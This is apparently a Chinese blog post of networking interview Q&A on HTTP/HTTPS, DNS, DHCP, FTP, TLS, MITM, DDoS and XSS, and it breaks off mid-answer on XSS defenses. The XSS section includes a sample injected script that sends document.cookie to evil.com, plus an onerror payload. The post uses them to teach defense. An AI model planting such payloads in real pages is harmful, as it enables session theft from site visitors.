写在前面:上篇我们聊了网络层和传输层的25道高频题,这篇把剩下的25道一口气讲完。说实话,应用层和安全相关的题目在面试中的比重越来越大,尤其是HTTP/HTTPS、攻击防御这些,几乎每场面试都会涉及。我整理的时候特意把实战题也放进来了,因为面试官越来越喜欢问"如果遇到xxx问题你怎么排查"。这篇干货很多,建议配合上篇一起看。

文章目录
-
- 一、应用层类
-
- 面试答题技巧:应用层题目
- [1. 浏览器输入URL到页面显示的完整过程?](#1. 浏览器输入URL到页面显示的完整过程?)
- [2. HTTP和HTTPS的区别?](#2. HTTP和HTTPS的区别?)
- [3. HTTP/1.0、HTTP/1.1、HTTP/2、HTTP/3的区别?](#3. HTTP/1.0、HTTP/1.1、HTTP/2、HTTP/3的区别?)
- [4. HTTP常见状态码及其含义?](#4. HTTP常见状态码及其含义?)
- [5. GET和POST的区别?](#5. GET和POST的区别?)
- [6. DNS解析过程?递归查询和迭代查询的区别?](#6. DNS解析过程?递归查询和迭代查询的区别?)
- [7. Cookie和Session的区别?](#7. Cookie和Session的区别?)
- [8. TCP三次握手在HTTP中的应用?](#8. TCP三次握手在HTTP中的应用?)
- [9. DHCP的工作过程?](#9. DHCP的工作过程?)
- [10. FTP的主动模式和被动模式区别?](#10. FTP的主动模式和被动模式区别?)
- 二、网络安全类
-
- 面试答题技巧:安全类题目
- [11. 对称加密和非对称加密的区别?](#11. 对称加密和非对称加密的区别?)
- [12. SSL/TLS握手过程?](#12. SSL/TLS握手过程?)
- [13. 什么是中间人攻击?如何防御?](#13. 什么是中间人攻击?如何防御?)
- [14. DDoS攻击的原理和防御方法?](#14. DDoS攻击的原理和防御方法?)
- [15. 什么是XSS攻击?如何防御?](#15. 什么是XSS攻击?如何防御?)
- [16. 什么是CSRF攻击?如何防御?](#16. 什么是CSRF攻击?如何防御?)
- [17. SQL注入的原理和防御?](#17. SQL注入的原理和防御?)
- [18. 什么是零信任安全模型?](#18. 什么是零信任安全模型?)
- 三、综合实战类
-
- [19. 从物理层到应用层,数据包的完整封装过程?](#19. 从物理层到应用层,数据包的完整封装过程?)
- [20. 如果ping不通一个网站,可能的故障原因和排查步骤?](#20. 如果ping不通一个网站,可能的故障原因和排查步骤?)
- [21. TCP连接建立后,如果客户端突然断电,服务端会怎样?](#21. TCP连接建立后,如果客户端突然断电,服务端会怎样?)
- [22. 为什么Wi-Fi比有线网络延迟高?](#22. 为什么Wi-Fi比有线网络延迟高?)
- [23. CDN的工作原理?](#23. CDN的工作原理?)
- [24. 负载均衡的常见算法?](#24. 负载均衡的常见算法?)
- [25. 什么是QUIC协议?它解决了什么问题?](#25. 什么是QUIC协议?它解决了什么问题?)
- 新手常见误区
- 问题与解答
-
- Q1:HTTP/2解决了HTTP/1.1的队头阻塞问题,为什么HTTP/3还要解决队头阻塞?
- [Q2:如果面试官问"如何防止CSRF攻击",除了CSRF Token还有什么方法?](#Q2:如果面试官问"如何防止CSRF攻击",除了CSRF Token还有什么方法?)
- Q3:零信任安全模型和传统VPN有什么区别?
- 面试高频考点汇总
- 模拟测试题
- 计算机网络全面教学系列学习路线图
- 互动话题
- 参考资料
一、应用层类
面试答题技巧:应用层题目
遇到应用层协议相关的面试题,记住这个答题框架:
协议名称 → 默认端口 → 传输层协议(TCP/UDP)→ 核心特点 → 典型应用场景
按这个框架答,面试官会觉得你知识系统化、有条理。
1. 浏览器输入URL到页面显示的完整过程?
这道题堪称计算机网络面试的"终极Boss",几乎必考。我来按步骤拆解:
第一步:URL解析
浏览器解析输入的URL,提取出协议(http/https)、域名、端口、路径等信息。
第二步:DNS解析
将域名解析为IP地址(详见第6题)。
第三步:TCP三次握手
浏览器与服务器建立TCP连接。
客户端 → SYN → 服务器
客户端 ← SYN+ACK ← 服务器
客户端 → ACK → 服务器
第四步:TLS握手(如果是HTTPS)
建立加密通道(详见安全类第12题)。
第五步:发送HTTP请求
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 ...
Accept: text/html ...
第六步:服务器处理请求
服务器接收请求,路由到对应的处理程序,查询数据库等。
第七步:返回HTTP响应
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1234
<html>...</html>
第八步:浏览器渲染页面
- 解析HTML构建DOM树
- 解析CSS构建CSSOM树
- 合并生成渲染树
- 布局(Layout/Reflow)
- 绘制(Paint)
- 合成(Composite)
第九步:TCP四次挥手
页面加载完成后,关闭TCP连接。
踩坑提醒: 面试官可能会追问"DNS解析之前浏览器做了什么?"------浏览器会先检查自身的DNS缓存,然后检查操作系统的DNS缓存,再查本地hosts文件,最后才发起DNS查询。这个细节很多人会漏掉。
容易答错的地方:
- 漏掉TLS握手(HTTPS场景)或把TLS握手放到TCP握手之前
- 说不出浏览器渲染的具体步骤(DOM树→CSSOM树→渲染树→布局→绘制→合成)
- 忘记说DNS解析的缓存层次(浏览器缓存→OS缓存→hosts文件→DNS服务器)
扩展追问(面试官可能会问):
- "DNS解析的具体过程是什么?" → 见第6题(递归查询+迭代查询)
- "TCP三次握手和TLS握手各需要多少RTT?" → TCP 1 RTT,TLS 1.2需要2 RTT,TLS 1.3只需1 RTT
- "浏览器渲染时,遇到
<script>标签会怎么做?" → 默认会阻塞HTML解析,可以加上async或defer属性 - "什么是重排(Reflow)和重绘(Repaint)?怎么优化?" → 重排影响布局,重绘不影响布局;优化方法包括批量修改样式、使用transform代替top/left等
2. HTTP和HTTPS的区别?
答题框架:全称 → 默认端口 → 安全性 → 连接过程 → 性能对比
| 对比项 | HTTP | HTTPS |
|---|---|---|
| 全称 | HyperText Transfer Protocol | HTTP Secure |
| 默认端口 | 80 | 443 |
| 安全性 | 明文传输,不安全 | SSL/TLS加密传输,安全 |
| 证书 | 不需要 | 需要CA证书 |
| 传输过程 | 直接传输 | 加密后传输 |
| 连接过程 | TCP三次握手 | TCP三次握手 + TLS握手 |
| SEO | 较低 | 搜索引擎优先收录 |
| 性能 | 略快(少一次握手) | 略慢(但差距很小) |
HTTPS = HTTP + SSL/TLS
HTTPS并不是一个新协议,而是在HTTP和TCP之间加了一个SSL/TLS安全层:
HTTP(明文)
↓
SSL/TLS(加密层)
↓
TCP
↓
IP
踩坑提醒: 不要说HTTPS比HTTP慢很多。现代HTTPS的性能损耗已经很小了(主要是TLS握手的一次RTT),而且HTTP/2和HTTP/3要求必须使用HTTPS。面试时可以说"性能差距可以忽略不计"。
容易答错的地方:
- 说"HTTPS比HTTP慢很多"(现代TLS 1.3性能损耗很小)
- 说不出HTTPS = HTTP + SSL/TLS
- 忘记说HTTPS需要CA证书
扩展追问(面试官可能会问):
- "HTTPS是如何保证安全的?" → 证书验证身份 + 非对称加密协商密钥 + 对称加密传输数据
- "什么是中间人攻击?HTTPS能防御吗?" → 能,通过证书链验证服务器身份;但如果用户信任了伪造证书,HTTPS也无法防御
- "HTTP/2和HTTP/3为什么要求HTTPS?" → 浏览器厂商的强制要求,推动全网加密
- "自签名证书和CA证书有什么区别?" → 自签名证书不被浏览器信任,会报安全警告;CA证书由受信任的机构签发
3. HTTP/1.0、HTTP/1.1、HTTP/2、HTTP/3的区别?
答题框架:逐版本对比(连接方式、队头阻塞、头部压缩、传输协议)→ 关键改进点
| 对比项 | HTTP/1.0 | HTTP/1.1 | HTTP/2 | HTTP/3 |
|---|---|---|---|---|
| 连接 | 短连接 | 长连接(keep-alive) | 多路复用 | 多路复用 |
| 请求方式 | 每个请求一个TCP连接 | 管道化(pipelining) | 多路复用 | 多路复用 |
| 队头阻塞 | 无(每个连接一个请求) | 有(管道化有队头阻塞) | 有(TCP层队头阻塞) | 无(基于QUIC) |
| 头部压缩 | 无 | 无 | HPACK算法 | QPACK算法 |
| 传输协议 | TCP | TCP | TCP | QUIC(基于UDP) |
| 服务器推送 | 不支持 | 不支持 | 支持 | 支持 |
| 二进制传输 | 文本 | 文本 | 二进制帧 | 二进制帧 |
关键改进点:
- HTTP/1.1 → HTTP/2: 引入多路复用,一个TCP连接可以并行传输多个请求/响应,解决了HTTP/1.1的队头阻塞问题(但引入了TCP层的队头阻塞)
- HTTP/2 → HTTP/3: 用QUIC替代TCP,彻底解决了TCP层面的队头阻塞问题
踩坑提醒: HTTP/1.1的管道化(pipelining)理论上可以并行发送请求,但实际上因为队头阻塞问题,浏览器基本没有实现。面试时不要把管道化和多路复用混为一谈。
容易答错的地方:
- 把HTTP/1.1的管道化和HTTP/2的多路复用混为一谈
- 说不出HTTP/2的队头阻塞是TCP层面的(一个TCP连接上多个Stream,一个丢包所有Stream都等待)
- 忘记说HTTP/3基于QUIC(UDP)
扩展追问(面试官可能会问):
- "HTTP/2的多路复用和HTTP/1.1的keep-alive有什么区别?" → keep-alive是串行的,多路复用是并行的
- "HTTP/2的HPACK头部压缩是怎么工作的?" → 静态表+动态表+Huffman编码,减少重复头部传输
- "为什么HTTP/3用QUIC而不是TCP?" → QUIC解决了TCP队头阻塞、支持连接迁移、握手更快
- "HTTP/2的服务器推送是什么?有什么缺点?" → 服务器主动推送资源,但可能推送客户端不需要的内容,浪费带宽
4. HTTP常见状态码及其含义?
答题框架:分类(1xx/2xx/3xx/4xx/5xx)→ 每类举2-3个常见状态码 → 重点区分易混状态码
| 状态码 | 类别 | 常见状态码 | 含义 |
|---|---|---|---|
| 1xx | 信息性 | 100 Continue | 服务器通知客户端继续发送请求体 |
| 2xx | 成功 | 200 OK | 请求成功 |
| 201 Created | 资源创建成功 | ||
| 204 No Content | 请求成功但无返回内容 | ||
| 3xx | 重定向 | 301 Moved Permanently | 永久重定向 |
| 302 Found | 临时重定向 | ||
| 304 Not Modified | 资源未修改(使用缓存) | ||
| 4xx | 客户端错误 | 400 Bad Request | 请求语法错误 |
| 401 Unauthorized | 未认证 | ||
| 403 Forbidden | 禁止访问 | ||
| 404 Not Found | 资源不存在 | ||
| 405 Method Not Allowed | 请求方法不被允许 | ||
| 429 Too Many Requests | 请求过多(限流) | ||
| 5xx | 服务端错误 | 500 Internal Server Error | 服务器内部错误 |
| 502 Bad Gateway | 网关错误 | ||
| 503 Service Unavailable | 服务不可用 | ||
| 504 Gateway Timeout | 网关超时 |
踩坑提醒: 301和302的区别是高频考点。301是永久重定向(搜索引擎会更新索引),302是临时重定向(搜索引擎保留原URL)。面试时一定要能说清楚。
容易答错的地方:
- 把301和302搞混(301永久,302临时)
- 说不出401(未认证)和403(禁止访问)的区别
- 把502(网关错误)和504(网关超时)搞混
扩展追问(面试官可能会问):
- "304 Not Modified是怎么工作的?" → 客户端发送条件请求(If-Modified-Since),服务器判断资源未变化,返回304,客户端使用缓存
- "429 Too Many Requests是什么场景?" → 限流场景,客户端请求太频繁
- "500和502有什么区别?" → 500是服务器内部错误(代码bug),502是网关从上游服务器收到无效响应
- "301和302对SEO有什么影响?" → 301传递权重,302不传递权重
5. GET和POST的区别?
答题框架:语义区别 → 参数位置 → 幂等性 → 安全性 → 缓存行为
| 对比项 | GET | POST |
|---|---|---|
| 语义 | 获取资源 | 提交数据/创建资源 |
| 参数位置 | URL查询字符串(?key=value) | 请求体(Request Body) |
| 缓存 | 可以被缓存 | 不会被缓存 |
| 浏览器历史 | 参数保留在历史记录中 | 参数不在历史记录中 |
| 书签 | 可以收藏为书签 | 不可以 |
| 长度限制 | URL长度有限制(约2048字符) | 理论上无限制 |
| 安全性 | 参数暴露在URL中 | 参数在请求体中 |
| 幂等性 | 幂等(多次请求结果相同) | 非幂等(多次提交可能创建多条记录) |
| 回退/刷新 | 无影响 | 浏览器会提示"重新提交表单" |
踩坑提醒: 很多人说"GET不安全,POST安全",这是不对的。GET和POST都不安全,都不加密。POST只是把参数放在请求体里,不直接暴露在URL中,但抓包一样能看到。真正的安全需要HTTPS。
容易答错的地方:
- 说"GET不安全,POST安全"(两者都不安全,都需要HTTPS)
- 说不出GET是幂等的,POST是非幂等的
- 以为GET不能传大量数据(URL长度有限制,但不是因为GET本身限制)
扩展追问(面试官可能会问):
- "GET请求的长度限制是多少?" → 不同浏览器不同,通常约2048字符
- "POST请求的数据放在哪里?" → 请求体(Request Body)中
- "什么时候用GET,什么时候用POST?" → 获取资源用GET,提交数据/创建资源用POST
- "PUT和POST有什么区别?" → PUT是幂等的(多次执行结果相同),用于更新资源;POST非幂等,用于创建资源
6. DNS解析过程?递归查询和迭代查询的区别?
答题框架:解析过程(缓存层次)→ 递归查询定义 → 迭代查询定义 → 实际应用场景
DNS解析完整过程:
1. 浏览器缓存 → 有则返回,无则下一步
2. 操作系统DNS缓存 → 有则返回,无则下一步
3. 本地hosts文件 → 有则返回,无则下一步
4. 本地域名服务器(LDNS)
├─ LDNS缓存 → 有则返回
└─ 无则向根域名服务器查询
├─ 根域名服务器返回顶级域名服务器地址(.com)
├─ LDNS向顶级域名服务器查询
│ └─ 返回权威域名服务器地址(example.com)
├─ LDNS向权威域名服务器查询
│ └─ 返回最终IP地址
└─ LDNS缓存结果并返回给客户端
递归查询 vs 迭代查询:
| 对比项 | 递归查询 | 迭代查询 |
|---|---|---|
| 定义 | 客户端只问一次,服务器负责查到底 | 服务器返回下一步该问谁,客户端自己去问 |
| 负担 | 服务器负担重 | 服务器负担轻 |
| 使用场景 | 主机向本地DNS服务器查询 | 本地DNS服务器向其他DNS服务器查询 |
递归查询:
客户端 → 本地DNS → 根DNS → 顶级DNS → 权威DNS
(本地DNS代劳,客户端只问一次)
迭代查询:
本地DNS → 根DNS(返回:你去问顶级DNS)
本地DNS → 顶级DNS(返回:你去问权威DNS)
本地DNS → 权威DNS(返回:IP地址)
(本地DNS自己一步步去问)
踩坑提醒: 实际的DNS查询过程中,主机到本地DNS服务器之间通常是递归查询 ,本地DNS服务器到其他DNS服务器之间通常是迭代查询。别搞混了。
容易答错的地方:
- 把递归查询和迭代查询搞反
- 说不出DNS解析的缓存层次(浏览器→OS→hosts→本地DNS)
- 以为所有DNS查询都是递归的
扩展追问(面试官可能会问):
- "DNS用TCP还是UDP?" → 通常用UDP(端口53),但响应超过512字节时用TCP
- "什么是DNS劫持?怎么防御?" → 攻击者篡改DNS解析结果;防御方法包括DNSSEC、HTTPS DNS(DoH)
- "什么是CDN?和DNS有什么关系?" → CDN通过DNS智能解析,把用户请求导向最近的边缘节点
- "hosts文件的作用是什么?优先级如何?" → 本地静态映射,优先级高于DNS查询
7. Cookie和Session的区别?
答题框架:存储位置 → 安全性 → 生命周期 → 工作原理 → 依赖关系
| 对比项 | Cookie | Session |
|---|---|---|
| 存储位置 | 客户端(浏览器) | 服务端(服务器内存/数据库/Redis) |
| 存储容量 | 最大4KB | 理论上无限制 |
| 安全性 | 较低(可被篡改、窃取) | 较高(数据在服务端) |
| 生命周期 | 可设置过期时间 | 默认浏览器关闭即失效 |
| 跨域支持 | 支持跨子域(设置domain) | 不支持跨域 |
| 性能影响 | 每次请求都携带,增加流量 | 存在服务端,不增加请求大小 |
| 依赖 | 不需要 | 依赖Cookie(Session ID存在Cookie中) |
工作原理:
1. 客户端第一次请求
→ 服务端创建Session,生成Session ID
→ 通过Set-Cookie响应头返回Session ID
2. 客户端后续请求
→ 自动携带Cookie中的Session ID
→ 服务端根据Session ID查找对应的Session
踩坑提醒: 如果用户禁用了Cookie,Session还能用吗?答案是可以通过URL重写(在URL后面加Session ID)来替代,但这种方式不安全,容易泄露Session ID。
容易答错的地方:
- 说Session不依赖Cookie(实际上Session ID通常通过Cookie传递)
- 说不出Cookie存储在客户端,Session存储在服务端
- 忘记说Cookie有大小限制(4KB),Session理论上无限制
扩展追问(面试官可能会问):
- "Session存在哪里?有什么优缺点?" → 内存(快但重启丢失)、文件(简单但性能差)、数据库(持久但慢)、Redis(推荐,快且持久)
- "什么是JWT?和Session有什么区别?" → JWT把用户信息放在Token里,服务端无状态;Session需要服务端存储
- "Cookie的Secure和HttpOnly属性有什么用?" → Secure要求HTTPS传输,HttpOnly禁止JavaScript读取(防XSS)
- "SameSite Cookie是什么?" → 控制Cookie在跨站请求中的发送行为(Strict/Lax/None)
8. TCP三次握手在HTTP中的应用?
答题框架:HTTP/1.0 → HTTP/1.1 → HTTP/2 → HTTPS的演进
HTTP是基于TCP的应用层协议,每次HTTP请求之前都需要先建立TCP连接。
HTTP/1.0:
- 每次请求都要建立和断开TCP连接
- 一个页面上有10张图片,就要建立10次TCP连接
- 效率极低
HTTP/1.1:
- 默认使用长连接(Connection: keep-alive)
- 一次TCP连接可以发送多个HTTP请求
- 减少了握手开销
HTTP/2:
- 多路复用,一个TCP连接并行处理多个请求
- 进一步提高了效率
HTTPS场景下:
TCP三次握手(1 RTT)
↓
TLS握手(1-2 RTT)
↓
HTTP请求/响应
HTTPS比HTTP多了TLS握手的过程,所以首次连接的延迟会高一些。
踩坑提醒: 面试官可能会问"HTTP/1.1的长连接和HTTP/2的多路复用有什么区别?"------长连接是串行的(一个请求完成后才能发下一个),多路复用是并行的(多个请求可以同时进行)。
容易答错的地方:
- 说HTTP/1.1的管道化(pipelining)实现了并行(实际上浏览器基本没有实现)
- 说不出HTTPS比HTTP多了TLS握手
- 把长连接和多路复用混为一谈
扩展追问(面试官可能会问):
- "HTTP/1.1的keep-alive是怎么实现的?" → 通过Connection: keep-alive头部,一个TCP连接发送多个请求
- "HTTP/2的多路复用是怎么实现的?" → 基于Stream和Frame,一个TCP连接上多个Stream并行传输
- "为什么HTTP/3不用TCP了?" → TCP队头阻塞问题,QUIC基于UDP解决了这个问题
- "一个页面有100个资源,HTTP/1.1和HTTP/2分别需要多少个TCP连接?" → HTTP/1.1需要多个(通常6-8个并行连接),HTTP/2只需要1个
9. DHCP的工作过程?
答题框架:四个步骤(DORA)→ 每步的报文类型和方向 → 租约机制
DHCP(Dynamic Host Configuration Protocol,动态主机配置协议) 用于自动分配IP地址。
四个步骤(DORA):
客户端 DHCP服务器
| |
|------- DHCP DISCOVER (广播) -----> | Discover:客户端寻找DHCP服务器
| |
|<----- DHCP OFFER (广播/单播) -----| Offer:服务器提供IP地址和配置
| |
|------- DHCP REQUEST (广播) -----> | Request:客户端选择一个服务器的offer
| |
|<----- DHCP ACK (单播) -----------| ACK:服务器确认分配
| |
| IP地址分配完成 |
| 步骤 | 报文 | 方向 | 说明 |
|---|---|---|---|
| 1 | DHCP DISCOVER | 客户端→服务器(广播) | 客户端寻找DHCP服务器 |
| 2 | DHCP OFFER | 服务器→客户端 | 服务器提供IP地址、子网掩码、网关、DNS等 |
| 3 | DHCP REQUEST | 客户端→服务器(广播) | 客户端正式请求分配 |
| 4 | DHCP ACK | 服务器→客户端 | 服务器确认分配,租期开始 |
IP地址租约:
- DHCP分配的IP地址有租期(通常8天)
- 租期过半时,客户端会尝试续租(DHCP REQUEST)
- 如果续租失败,租期到87.5%时再次尝试
- 如果仍然失败,租期到期后释放IP地址
踩坑提醒: DHCP DISCOVER和REQUEST是广播报文(因为客户端还不知道DHCP服务器的IP和MAC),OFFER和ACK通常是单播(如果服务器已经知道客户端的MAC地址)。
容易答错的地方:
- 把DORA四个步骤的顺序搞混
- 说不出DISCOVER和REQUEST是广播,OFFER和ACK是单播
- 忘记说DHCP分配的IP有租期,需要续租
扩展追问(面试官可能会问):
- "DHCP和静态IP有什么区别?各有什么优缺点?" → DHCP自动分配,方便管理;静态IP固定不变,适合服务器
- "如果DHCP服务器挂了,客户端还能上网吗?" → 不能获取新IP,但已有IP在租期内仍可用
- "DHCP Relay是什么?" → 跨网段分配IP时,中继代理把DHCP广播转为单播转发到DHCP服务器
- "169.254.x.x地址是怎么来的?" → APIPA地址,DHCP获取失败时自动分配
10. FTP的主动模式和被动模式区别?
答题框架:连接方向 → 数据端口 → 防火墙友好性 → 使用场景
| 对比项 | 主动模式(Active) | 被动模式(Passive) |
|---|---|---|
| 连接方向 | 服务器主动连接客户端 | 客户端主动连接服务器 |
| 数据端口 | 服务器用20端口连接客户端的随机端口 | 服务器开放随机端口,客户端连接 |
| 防火墙友好 | 客户端需要开放随机端口(不友好) | 只需服务器开放端口(友好) |
| 使用场景 | 服务器有公网IP,客户端在内网 | 客户端有防火墙/NAT |
| 命令 | PASV命令关闭 | PASV命令开启 |
主动模式流程:
1. 客户端连接服务器21端口(控制连接)
2. 客户端告诉服务器自己的数据端口(PORT命令)
3. 服务器从20端口主动连接客户端的数据端口
被动模式流程:
1. 客户端连接服务器21端口(控制连接)
2. 客户端发送PASV命令
3. 服务器返回一个随机端口
4. 客户端主动连接服务器的这个随机端口
踩坑提醒: 现在大多数FTP客户端默认使用被动模式,因为主动模式在客户端有防火墙或NAT的情况下通常无法工作。面试时能说出"为什么现在多用被动模式"会加分。
容易答错的地方:
- 把主动模式和被动模式的连接方向搞反
- 说不出主动模式服务器用20端口,被动模式服务器用随机端口
- 说不出为什么现在多用被动模式(客户端防火墙/NAT)
扩展追问(面试官可能会问):
- "FTP用TCP还是UDP?" → TCP,控制连接用21端口,数据连接用20(主动)或随机端口(被动)
- "SFTP和FTP有什么区别?" → SFTP基于SSH(端口22),加密传输;FTP明文传输,不安全
- "为什么FTP需要两个连接?" → 一个控制连接传命令,一个数据连接传文件
- "NAT环境下FTP有什么问题?" → NAT会修改IP地址,破坏FTP的PORT/PASV命令中的IP信息
二、网络安全类
面试答题技巧:安全类题目
遇到网络安全相关的面试题,记住这个答题框架:
攻击原理 → 危害 → 防御手段 → 实际案例
按这个框架答,面试官会觉得你不仅懂理论,还有实战思维。
11. 对称加密和非对称加密的区别?
答题框架:密钥方式 → 速度对比 → 密钥分发 → 典型算法 → 实际应用(两者结合)
| 对比项 | 对称加密 | 非对称加密 |
|---|---|---|
| 密钥 | 加密和解密用同一个密钥 | 加密用公钥,解密用私钥 |
| 速度 | 快 | 慢(比对称加密慢100-1000倍) |
| 密钥分发 | 困难(如何安全地传递密钥?) | 简单(公钥可以公开) |
| 常见算法 | AES、DES、3DES、RC4 | RSA、ECC、DSA |
| 安全性 | 取决于密钥保密 | 基于数学难题(大数分解、椭圆曲线) |
| 适用场景 | 大量数据加密 | 密钥交换、数字签名 |
| 密钥长度 | 128/256位 | 2048/4096位 |
常见算法对比:
| 算法 | 类型 | 密钥长度 | 说明 |
|---|---|---|---|
| AES | 对称 | 128/192/256位 | 目前最常用的对称加密算法 |
| DES | 对称 | 56位 | 已不安全,已被淘汰 |
| RSA | 非对称 | 2048位+ | 最常用的非对称加密算法 |
| ECC | 非对称 | 256位(等效RSA 3072位) | 更短的密钥达到相同安全性 |
实际应用中两者结合使用:
1. 用非对称加密传递对称加密的密钥
2. 用对称加密传输实际数据
3. 这样既解决了密钥分发问题,又保证了传输效率
踩坑提醒: HTTPS就是两者结合的典型例子。TLS握手阶段用RSA/ECC交换密钥,数据传输阶段用AES加密。面试时能说出这个流程会很有说服力。
容易答错的地方:
- 说不出对称加密和非对称加密的速度差异(非对称慢100-1000倍)
- 说不出为什么实际应用中两者结合使用
- 把AES和RSA的密钥长度搞混(AES 128/256位,RSA 2048位+)
扩展追问(面试官可能会问):
- "为什么非对称加密比对称加密慢?" → 非对称基于大数分解、椭圆曲线等复杂数学运算
- "ECC和RSA有什么区别?" → ECC用更短的密钥达到相同安全性(256位ECC等效于3072位RSA)
- "HTTPS的TLS握手过程中,什么时候用非对称加密,什么时候用对称加密?" → 握手阶段用非对称交换对称密钥,数据传输用对称加密
- "量子计算对加密算法有什么威胁?" → 量子计算可以破解RSA和ECC,但对称加密(如AES)只需增加密钥长度
12. SSL/TLS握手过程?
答题框架:TLS 1.2握手步骤 → 每个步骤交换的信息 → TLS 1.3的改进
TLS 1.2握手过程(简化版):
客户端 服务端
| |
|------- ClientHello --------------->| 支持的TLS版本、加密套件、随机数
| |
|<----- ServerHello ----------------| 选择的TLS版本、加密套件、随机数
|<----- Certificate -----------------| 服务端数字证书
|<----- ServerKeyExchange ----------| (可选)密钥交换参数
|<----- ServerHelloDone ------------| 服务端握手消息发送完毕
| |
|------- ClientKeyExchange --------->| 密钥交换参数
|------- ChangeCipherSpec --------->| 通知切换到加密通信
|------- Finished ------------------>| 加密握手完成消息
| |
|<----- ChangeCipherSpec -----------| 通知切换到加密通信
|<----- Finished -------------------| 加密握手完成消息
| |
| 加密通信开始 |
TLS 1.3改进:
- 将握手从2-RTT减少到1-RTT
- 移除了不安全的加密算法
- 支持0-RTT恢复(重用之前的会话参数)
踩坑提醒: 面试时不需要背出每一个字段的细节,但要能说清楚"双方通过握手协商加密算法,交换密钥参数,最终生成共享密钥"这个核心流程。TLS 1.3的改进也是一个加分项。
容易答错的地方:
- 把TLS握手和TCP三次握手的顺序搞混(先TCP握手,再TLS握手)
- 说不出TLS 1.3相比1.2的改进(1-RTT、0-RTT、移除不安全算法)
- 忘记说握手过程中交换了随机数(用于生成会话密钥)
扩展追问(面试官可能会问):
- "TLS握手需要多少RTT?" → TLS 1.2需要2 RTT,TLS 1.3只需要1 RTT,0-RTT恢复可以0 RTT
- "什么是前向保密(Forward Secrecy)?" → 即使长期私钥泄露,过去的会话也不会被解密;通过临时密钥交换实现
- "证书链是怎么验证的?" → 从服务器证书开始,逐级验证到受信任的根证书
- "什么是SNI?有什么隐私问题?" → Server Name Indication,客户端在握手时发送目标域名;明文传输,可能泄露访问目标
13. 什么是中间人攻击?如何防御?
答题框架:攻击定义 → 常见攻击方式 → 防御方法 → 局限性
中间人攻击(Man-in-the-Middle Attack,MITM) 是指攻击者插入通信双方之间,窃听或篡改通信内容。
正常通信:
客户端 ←------------------------------------→ 服务端
中间人攻击:
客户端 ←------→ 攻击者 ←------→ 服务端
(客户端以为在和服务端通信)
(服务端以为在和客户端通信)
常见攻击方式:
- ARP欺骗 ------ 攻击者伪造ARP响应,将流量重定向到自己
- DNS劫持 ------ 修改DNS解析结果,将域名指向攻击者的服务器
- 伪造Wi-Fi热点 ------ 创建假的公共Wi-Fi,诱骗用户连接
- SSL剥离 ------ 将HTTPS降级为HTTP
防御方法:
| 方法 | 说明 |
|---|---|
| 使用HTTPS | 证书验证防止中间人冒充服务器 |
| 证书固定(Certificate Pinning) | 客户端只信任特定证书 |
| HSTS | 强制使用HTTPS,防止降级攻击 |
| VPN | 加密所有通信流量 |
| 验证证书指纹 | 手动检查服务器证书是否可信 |
踩坑提醒: HTTPS并不是完全免疫中间人攻击。如果用户信任了攻击者的伪造证书(比如安装了攻击者的根证书),HTTPS也无法防御。所以不要随意安装来历不明的证书。
容易答错的地方:
- 说"HTTPS完全免疫中间人攻击"(如果用户信任了伪造证书,HTTPS也无法防御)
- 说不出ARP欺骗和DNS劫持是中间人攻击的常见方式
- 忘记说证书固定(Certificate Pinning)这种防御手段
扩展追问(面试官可能会问):
- "ARP欺骗是怎么实现的?" → 攻击者发送伪造的ARP响应,把自己的MAC地址告诉受害者
- "怎么检测是否遭受了中间人攻击?" → 检查证书是否异常、网络延迟是否突然增加、使用工具如Wireshark抓包分析
- "HSTS是怎么防止SSL剥离攻击的?" → 强制浏览器使用HTTPS,不允许降级到HTTP
- "企业内网监控员工HTTPS流量,是怎么做到的?" → 在内网设备上安装企业自签名的根证书,进行SSL中间人解密
14. DDoS攻击的原理和防御方法?
答题框架:攻击定义 → 常见类型(流量型/协议型/应用层)→ SYN Flood原理 → 防御方法
DDoS(Distributed Denial of Service,分布式拒绝服务) 是利用大量受控设备向目标发送海量请求,耗尽目标的服务器资源。
常见攻击类型:
| 类型 | 说明 | 示例 |
|---|---|---|
| 流量型 | 发送海量流量耗尽带宽 | UDP Flood、ICMP Flood |
| 协议型 | 利用协议漏洞耗尽连接资源 | SYN Flood(利用三次握手) |
| 应用层 | 发送大量合法请求耗尽处理能力 | HTTP Flood、CC攻击 |
SYN Flood原理:
攻击者发送大量SYN报文(伪造源IP)
→ 服务器回复SYN+ACK,分配资源等待ACK
→ ACK永远不会来
→ 服务器半连接队列被填满
→ 正常用户无法建立连接
防御方法:
- 流量清洗 ------ 在流量到达服务器前进行过滤
- SYN Cookie ------ 不为半连接分配资源,通过算法验证
- 限流 ------ 限制单个IP的请求频率
- CDN分发 ------ 将流量分散到全球节点
- 黑洞路由 ------ 将攻击流量直接丢弃
- WAF(Web应用防火墙) ------ 过滤恶意请求
踩坑提醒: DDoS攻击和DoS攻击的区别是"分布式"。DoS是一台机器攻击,DDoS是多台机器(僵尸网络)同时攻击。面试时说"DDoS"更准确。
容易答错的地方:
- 说不出DDoS和DoS的区别(分布式 vs 单点)
- 说不出SYN Flood的具体原理(伪造SYN,占满半连接队列)
- 把DDoS和CC攻击混为一谈(CC攻击是DDoS的一种,针对应用层)
扩展追问(面试官可能会问):
- "SYN Cookie是怎么防御SYN Flood的?" → 不为半连接分配资源,通过加密算法验证ACK的合法性
- "DDoS攻击能完全防御吗?" → 很难完全防御,只能通过流量清洗、CDN分散、扩容等方式缓解
- "什么是僵尸网络(Botnet)?" → 被恶意软件感染的大量设备,被攻击者远程控制发起DDoS
- "反射型DDoS攻击是什么?" → 利用第三方服务器(如DNS服务器、NTP服务器)放大攻击流量
15. 什么是XSS攻击?如何防御?
答题框架:攻击定义 → 三种类型 → 攻击示例 → 防御方法
XSS(Cross-Site Scripting,跨站脚本攻击) 是指攻击者向网页中注入恶意脚本,当用户浏览该网页时,恶意脚本在用户浏览器中执行。
三种类型:
| 类型 | 说明 | 示例 |
|---|---|---|
| 存储型XSS | 恶意脚本被存储在服务器上 | 在评论区注入 <script> 标签 |
| 反射型XSS | 恶意脚本通过URL参数反射回来 | 构造恶意链接诱导用户点击 |
| DOM型XSS | 通过修改DOM树注入恶意脚本 | JavaScript动态修改页面内容 |
攻击示例:
html
<!-- 攻击者在评论区输入: -->
<script>
// 窃取用户的Cookie
document.location='http://evil.com/steal?cookie='+document.cookie
</script>
<!-- 或者更隐蔽的: -->
<img src="x" onerror="alert('XSS')">
防御方法:
| 方法 | 说明 |
|---|---|
| 输入过滤 | 对用户输入进行严格验证和过滤 |
